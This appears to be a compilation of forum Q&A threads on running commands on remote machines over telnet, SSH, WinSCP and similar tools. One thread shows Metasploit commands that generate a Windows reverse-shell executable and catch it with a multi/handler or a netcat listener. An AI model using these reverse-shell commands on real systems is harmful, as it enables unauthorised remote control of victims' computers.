Run script on remote machine via telnet (not SSH) - shell

I need to somehow run a script which resides on a remote machine running Ubuntu.
SSH or any other connection type that requires complex encryption is not possible.
The client that will connect to the remote machine is only capable of opening a port and sending and receiving strings.
Can anyone tell me how to do this?

Why is your remote Ubuntu machine "not natively capable of SSH". That's nonsense.
But if you want a solution, use expect - it can run ftp/telnet or any other terminal-based application. It can react to different input, and type in a password.
There are python and perl-based packages that also do this.

Related

Is it possible to restart the server using WinSCP?

I transferred the files from my local computer to the remote directory using WinSCP, but I'm curious if I can restart/reboot the server using the same application or i need to do that using PuTTY.
I don’t think you can. WinSCP is a SFTP client, SFTP its a subsystem of SSH, but that does not mean that you can achieve everything you can do with SSH.
Here’s a complete list of commands supported by the SFTP protocol -> https://www.ssh.com/ssh/sftp/#sec-SFTP-Protocol
As you can see there’s no such ‘reboot’ instruction nor anything similar.
EDIT
As other answer says, WinSCP has the ability to issue remote commands https://winscp.net/eng/docs/remote_command
So you can do Commands > Open Terminal and issue a reboot
WinSCP has Console window, where you can execute most shell commands. The only limitation is that the command must not require terminal emulation. What command like reboot typically do not.
Short answer: you need putty to do it.
Long answer: If you know what you are doing you could have a watch of some kind and reboot the server if you copy a special file (via WinSCP) to the server, I would strongly advise against this.
If you use putty to do this you should be aware that the system user root is most likely forbidden to log in via ssh directly. So you have to use putty with some other user and use su/sudo to reboot.
To reboot a linux server
putty
sudo reboot

Connecting to Telnet through a macOS program

I am currently trying to code an application for a macOS to control an Arduino. To do this I need to be able to access telnet and send string commands to it. Any ideas on how to do so?
telnet is insecure, inflexible and out of fashion - folks use ssh now. There is no longer even a telnet client in High Sierra.
Create an empty file called ssh in the partition of your SD card called boot to get in the first time. Then ssh in with:
ssh pi#<RASPI-IP-ADDRESS>
and password raspberry.
Then use:
sudo raspi-config
to enable ssh for future boots.

Standalone multi/handler reverse_tcp

Sorry for my english.
Using metasploit I generated an exploit for windows 7 with windows/shell/reverse_tcp payload.
Then I waiting connection using msfconsole:
use exploit/multi/handler
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.182.129
set LPORT 4444
exploit
I am successfully connected to command line of windows.
However I need to expect connection without using metasploit. I found how to create standalone module, but it was only for an exploit.
I need standalone multi/handler reverse_tcp or simply the code which listens to a certain port and then gives access to command line.
I don't really know what your constraints/restrictions are.
My guess is that, you want to "receive shells" on a computer without metasploit installed on it.If that's the case, you could use msfd(metasploit daemon installed on a different computer) or simply netcat,socat,...
What do you think of this:
listening with netcat on 192.168.1.2# nc -l -p 4444
Using a shell_reverse_tcp instead# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 X /root/darkbird.exe
Execute darkbird.exe on the target

Sending data through Telnet-established connection on windows command line

I have connected to an outside server using telnet on windows cmd. I have a program written in Ruby running on my local machine whose output needs to be passed as a command in the server running. How do I go about with it?
You can't. A telnet connection is pretty easy to do in Ruby though, just make your own connection.

Exec a program on client runs a programm on server

First of all I have spent over 4 hours researching this topic..
So I have a Windows 2008 r2 root server at the moment. I connect to it via Remote Desktop.
Now I want to write a program that runs batch files on the server but the program is at client side, I have tried to setup an SSH server on my Windows server with Freesshd.
That seems to work but the programs are not shown. (In Taskmanager are they)
Is there way (prefer SSH) to let them show normally?
The goal is to restart programs (Gameservers).
My Program will work so: if I press restart server it will connect (if SSH) via Putty to the server to exec the batch file.
Or will start another program with parameters something like this:
Clientprogramm -ip 95.25.115.** -user Administrator -p xxxxxx C:\gameserverdir\start.bat
Simple and fine. I have done that already for Linux and there it isn't that hard.
So if you have an idea that can help me would be nice to know.
Both system are Windows!
If you are using SSH, the tool you need is plink. It's putty for command line.
Or, as indicated in comments, you can use psexec, or powershell, or vbscript, or .... BUT started programs are only "visible" in the same session from where they were started.

Resources